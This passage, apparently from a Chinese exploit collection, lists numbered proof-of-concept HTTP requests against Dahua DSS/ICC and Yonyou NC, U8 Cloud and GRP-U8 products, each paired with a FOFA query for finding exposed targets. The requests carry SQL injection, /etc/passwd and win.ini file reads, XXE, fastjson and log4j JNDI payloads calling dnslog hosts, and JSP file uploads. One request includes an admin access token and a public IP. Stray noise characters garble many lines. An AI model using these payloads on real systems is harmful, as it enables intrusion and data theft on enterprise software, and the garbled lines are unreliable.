; h$ a6 H. F* \Accept-Encoding: gzip


, @* m) H/ b2 b4 q17. 大华 DSS itcBulletin SQL 注入
6 s. u/ F) v# k( PFOFA：app="dahua-DSS"
! ]( D  Y6 [3 S, [8 ~" p$ K' CPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 K7 Y7 t! ]% m( E% g- Z2 ]5 S+ eConnection: close
: h% n/ G9 ^' U3 |( B/ _+ \5 h% n9 IContent-Length: 345
Accept-Encoding: gzip
5 M- _% ~. e4 K2 l" U: f
& o) C* z1 a+ V$ n<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
8 {* M& A4 X9 U) G3 \) {7 h    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
, q1 O1 i4 Y5 h5 o0 A1 k       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
: X! j+ L& R! y3 w* y6 F</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
( @1 a! z2 G3 {% v, e# A( TGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
6 J% i5 _" P! e1 m& aHost: your-ip
( J2 o5 ~! G, Q& J  SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
. z# o& }  |. c4 l$ M+ AConnection: keep-alive
% v: l9 \' g4 D! K+ a
4 h# T7 P: U' E7 q

2 A. [5 R. a  p+ u( L9 U19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
# x; ~+ ?8 W- E4 E# S& SFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ _  W3 }0 a. F7 d; ~' b1 RAccept-Encoding: gzip, deflate
Accept: */*
2 O/ ?3 @% q& i  oConnection: keep-alive

5 y% D/ C% Z- L/ W  E
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
3 ^; v" L3 a8 U. ^2 }8 h- bGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
! v* k1 P& R1 K. B: xHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 G8 @) J! r4 t8 q# gConnection: close
1 P# ?# p6 v" Y: S, jAccept: */*
Accept-Language: en
. P/ b. ?, U' a, hAccept-Encoding: gzip
; |' F- }$ m5 W$ J8 G

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
6 W( H! v& r/ NAccept-Encoding: gzip
: ]: b8 j% _+ `7 eConnection: close
' d5 G& t# X5 M( J  sContent-Type: application/json;charset=utf-8

0 e+ ]% F0 h: B7 c& O; {  D# |{
  D$ q3 N* P6 W- `2 \"a":{
3 I& @0 S! @6 o; A, z( P   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
- h! M5 l1 v, B3 C2 F. \( o  }""
}

) t6 o$ g! C: p  _. t
0 ]9 e' }' O  u0 N22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
* k2 _. y6 e& z8 ~( q- ePOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
6 N  v8 Y0 |5 r* QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' a# Z9 ?1 w; U5 N1 \, w! PContent-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
( f/ C" @- X: N8 q}
! |! O/ ?- N8 h+ u# o6 Q( `
+ ^" l# b( j/ I3 @8 i  ^4 M7 g4 P

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
% G- b0 u( B3 ]7 ^# |5 E$ ~" jPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
: V; s5 K" M1 O  `6 K% u$ u  K/ FHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 W8 V1 U) ?( V- c7 E5 dContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
2 {/ O, o* V& e1 z$ L: @       {"@type":"java.net.URL","val":"http://DNSLOG"}
4 O1 ~5 w7 M1 g2 X4 R& Z5 y        }""
9 w5 v( D# E/ r2 V}
0 \" {; C- E" Y, r( n0 X7 y9 O

24. 用友NC 6.5 accept.jsp任意文件上传
# W5 I- H5 {4 z! F+ G1 n8 T& hFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
' S( E; i& L6 b$ A5 B, [Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
* ^9 z/ Y. y6 j: B7 ]Connection: close
- z( Y- ^  y3 a5 P1 F+ JContent-Length: 449
$ S' W+ v1 z, L3 wAccept: */*
; z& F/ Y0 ~2 a- Q/ SAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
( A* q* P  ^1 j+ ^( c
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
5 i% h- X. v6 P/ }+ o5 oContent-Type: text/plain
# V( b% l: J7 L/ n  ?) _7 U
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
4 ?& y$ O- b, r' k+ C3 b* W3 l0 S-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

: V, f* L& l. s; l( S5 ~\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
$ `4 k1 a$ b" A. o
( ]2 u% c1 s; A+ z
25. 用友NC registerServlet JNDI 远程代码执行
6 N1 D- V- Q+ n5 w! L' nFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
% v$ F6 {7 K! D/ ~Host: your-ip
2 _8 E0 }4 c2 f: p4 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
$ C3 |/ r. }" t* @5 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
8 s# I0 B- [: h6 Q4 l, xAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
) c  O( U" ?! u9 _1 r- |: S: m4 H1 d
' I! z# Z: g4 W+ M2 {7 ?0 @! o* otype=1&dsname=ldap://dnslog
1 b! A4 ]3 O5 h: G& [

- X9 `0 J2 k: q8 X
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
6 Y3 G8 `, D8 u1 L8 R7 G) s& |: i. ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# f/ r" T! U7 z- {$ O- A. nAccept-Encoding: gzip, deflate
Accept: */*
0 x, ^8 q5 B' x) N5 z2 n+ }Connection: keep-alive
6 B8 t: O6 C2 A0 g. |3 ]$ Y% X

0 ~5 t6 o+ d# V3 m) e27. 用友 NC showcontent SQL注入
& G! p  X1 H+ P+ uFOFA：icon_hash="1085941792"
9 x, x; G9 x  s" k7 e# X! Z9 |GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
$ ~# V! n; M/ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. V. K- j% @, k, cAccept-Encoding: identity
; n: J$ R, I, H1 C2 X! }  b" {Connection: close
6 {* N. r' q" ^1 ~Content-Type: text/xml; charset=utf-8

6 W! f6 K: m0 f
- U2 [1 f' l; G* c# K# _2 x. |" P28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
( h4 V+ G8 K" u" H2 C) B( iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
$ ?5 L8 {( h9 t" r' v& HAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
$ G: O- z7 \# [$ i$ I8 \Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp
3 a. S% G, h8 f: U
29. 用友NC down/bill SQL注入
5 |7 m( A$ R* mFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
& e. I6 ?* \) V9 ~) QGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
0 o! H- t5 y7 ?( n, H9 r* aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ W  m0 K0 O  UContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. A, i5 v2 F$ RAccept: */*
- o6 y# M- \% e! W. T2 dConnection: keep-alive
9 W0 `7 t. G) c6 b2 K5 m

( E% T5 |5 V; @30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
1 U; `: K# V: kContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
( Z6 `4 S. i( w  K------WebKitFormBoundaryH970hbttBhoCyj9V--
; h3 |. i" A5 y+ p3 {: v' ^* v4 Z, K

" E0 y% n% L0 F+ x31. 用友NC runStateServlet SQL注入
version<=6.5
& C5 o: `* s% TFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% d4 @2 c% Z. _3 g- ^GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
$ V$ n. \, n: I8 {/ eHost: host
7 m* V0 Q2 W% p( V8 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 v  {$ F6 y8 b( J9 a5 H3 b6 h) AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ d/ k2 }% f9 h0 T' ZContent-Type: application/x-www-form-urlencoded
9 T+ [1 H$ w8 Z$ J2 K6 AAccept-Encoding: gzip, deflate
, ]+ y' u0 n, f' i3 W) }Accept: */*
Connection: keep-alive
! ]) E1 g) X7 S0 [/ ^+ h# T

33. 用友NC downTax/download SQL注入
4 R( [- }( Y/ n& _2 p9 C- Fversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 @% p/ d& \* A. I( n/ J: U2 tHost: your-ip
; z* z+ C4 J0 W( }" ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 O( a: G1 B& Q2 }; d

34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
! g4 Q! d+ z% Y) W% s. x) KGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 t& o0 D. A+ hHost: your-ip
) K" Q6 F. S7 E' I6 X+ V5 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
  I6 a" Z8 C- K* G1 H5 |( `Accept: */*
Connection: keep-alive


& `3 W$ O6 @- ^35. 用友NC-Cloud importhttpscer任意文件上传
2 ^9 A. W6 a! \! t" s* tFOFA：app="用友-NC-Cloud"
' x$ v6 Y- A. U3 hPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
; C0 A4 ~+ B+ p- [) O4 FAccept-Encoding: gzip, deflate
: W" `+ e+ {& Q: [% k9 [Accept: */*
+ E' c# x7 E" ?. ?8 Z! a# s2 VConnection: close
3 K1 t6 V  S& z* a4 K4 G: FaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
( s$ X  i2 f2 l% V: GContent-Length: 190
9 p* N4 G1 P, F: uContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

0 l2 S2 P( ^" y, `3 L5 }* B--fd28cb44e829ed1c197ec3bc71748df0
4 m3 G( R  ^1 F. ~Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
6 N3 Z; f1 o! a; ?$ v  b" B# t
5 n, G8 R- i: @/ j<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
+ N! n& I$ l+ w* z
" ^$ N0 S! v# v0 l$ ^6 m
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
) Z& o" n+ L. l- B3 H; S( ^POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' ?: r3 `+ g' T2 PAccept-Encoding: gzip, deflate
5 S4 {+ Y. P9 x9 qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
- m) Z5 ~4 i% w; PUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

  \! n8 K0 ~0 d9 W
37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 F% x/ o1 d" i3 U# [POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
* V; b" q3 L( N+ e6 |Host: 192.168.40.130:8989
( w, ]! M8 ^1 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
1 t" {2 J, I$ |/ D% o, t$ VContent-Length: 421
" X6 A# e7 e8 l* \' uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! ?2 b! q( [: h. \: o/ XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 I. m% ~; d- `; M% S7 FConnection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
+ y$ s' k) }% M$ E8 L+ XUpgrade-Insecure-Requests: 1
. o: \/ U* f" H1 y( @
; v7 }- N' ]# ^% V) H<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
( O. Y3 t1 [9 u2 |( j1 ~<soapenv:Body>
, R" {8 _1 P' ~+ s. Y9 @; g& C<iup:getResult>
<!--type: string-->
9 ]  U8 k+ |4 ?1 y2 ?1 m<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
6 Y" }  F6 m) N! P<xxx/>]]></iup:string>
</iup:getResult>
4 J7 ~5 ~9 Z0 r% q</soapenv:Body>
( X; m/ @: [1 h; u0 {</soapenv:Envelope>

! x& {( _" G+ Q+ h6 J: |
5 }( L0 ^* V% f; C5 F" I
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
+ r) D, d, Q6 o7 a7 ]POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
0 c3 o5 W, e; K: w& n9 x. {7 JHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
( c3 }6 P* R. k: B2 Q, fContent-Length: 260
" @" \6 l  ~. a% Q$ O  \& @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
0 n+ E) w8 v0 @8 l% `1 j6 K% e1 fAccept-Language: zh-CN,zh;q=0.9
* y( A9 k# j3 X" A$ rConnection: close
7 n% N# G' ^" s* W$ x7 {1 l: AContent-Type: application/x-www-form-urlencoded

% s* d" M( g) |" y" r- O__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

, t% |3 |3 s) g6 {4 C. x1 a
4 r! Y; c8 Q8 H0 O8 r% O% v39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
! I# b0 C) R& @7 Y2 K6 P4 i: o& tPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
; \# V' k  w2 L( E5 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
% C4 x6 Z- r' u( T! ZConnection: close
Content-Length: 85
1 K) \! Z0 F6 @0 Y( J% QAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

, ?* N" |9 W+ M! Z- j9 cusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
& U: \. Z. ^- s* }( E' ^

- T! ~9 f& \6 \6 m* V9 o3 `40. 用友U8-Cloud XChangeServlet XXE
3 W6 _( `. D4 K) y7 N& b) W6 MFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 p; s. p$ G5 x) U: dContent-Type: text/xml
% q/ b6 V$ {. u8 dConnection: close

8 S$ J) y& k- \* [$ ^<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

; G  b! @8 ~7 z- c7 m( E& J% ]
9 J, ~; z6 G, N4 k0 S4 c1 V41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 g3 v) s/ T- Y$ KContent-Type: application/json
% O  I& I: O7 M$ U) ?Accept-Encoding: gzip
2 J8 C( ?* u- l& k& ]Connection: close
9 ~% R1 K$ u, V) W$ _

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
& ^& u* ^. D. Z' Z  t& T9 O% T/ cContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
6 F1 h3 ~' M& R$ [; ]6 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
1 ]. l3 ?8 T) l  |+ q$ u9 b
1 h7 ]) y6 O: @, `4 t
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

2 M& d2 b( U% t- `7 d43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: y* L$ |0 F* _) N* E5 WFOFA：app="用友-GRP-U8"
0 b/ X" K* H/ O( q3 ], O3 z4 @POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Q2 b% G, G5 ]0 VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 M9 F: S6 H6 Q2 HConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
  w( x* t( v' B0 i9 j2 o# P: X
7 K$ K# }8 H$ v- p4 h; y' j5 c. H<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
9 P) p/ ]- G# \1 G( L- z   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
/ a! _( b. W0 B         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
  Q  e& v1 m: c( b! [  a      </ser:getUserNameById>
   </soapenv:Body>
" _5 ?5 d0 ~3 x4 |  F</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
" T7 K- n7 f/ O6 r. N$ M5 SGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
7 {7 ]( ~. _/ [' l# |4 W2 PHost: your-ip
+ h( h! ?, s" D* w7 A4 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  {4 d" i; d+ B4 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- H6 l: ^, h* N) w! ]3 o: dConnection: close

0 ~3 B( Q6 q3 h- s* z* \' d) V
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
* J6 s9 J" R' g! d, TPOST /ufgovbank HTTP/1.1
/ {2 r+ o" ^4 IHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
* q( m# _2 W. J0 lConnection: close
Content-Length: 161
+ Q) i" q' E" d# cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
  U6 p4 k; j% N7 _# j' mAccept-Encoding: gzip
# A  J) Y( g3 Q) |
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
" q5 X7 \( o0 U) H
$ d2 z4 a. r- j' Z; W
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
: v+ e! o  E; y/ B  I' {& r' KGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
2 `( C0 j* w& m. C3 V5 T3 D' E) P  wHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 K# K" @$ z6 U) z* r% FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
( Y2 y" M1 Y* R3 y: l- O0 _4 \5 VUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 O2 v4 n# L- g. {' i; S9 _: oAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
& n# s) |7 q8 N! ~6 {If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

, r$ M- X5 [/ Q  t3 z! t+ `; u  T
* N/ d6 R( B+ y0 w, g
$ F' `& z. f  v, h) C# @48. 用友U8 CRM swfupload 任意文件上传
: {8 X! q1 D! ?1 y& N( [FOFA：title="用友U8CRM"
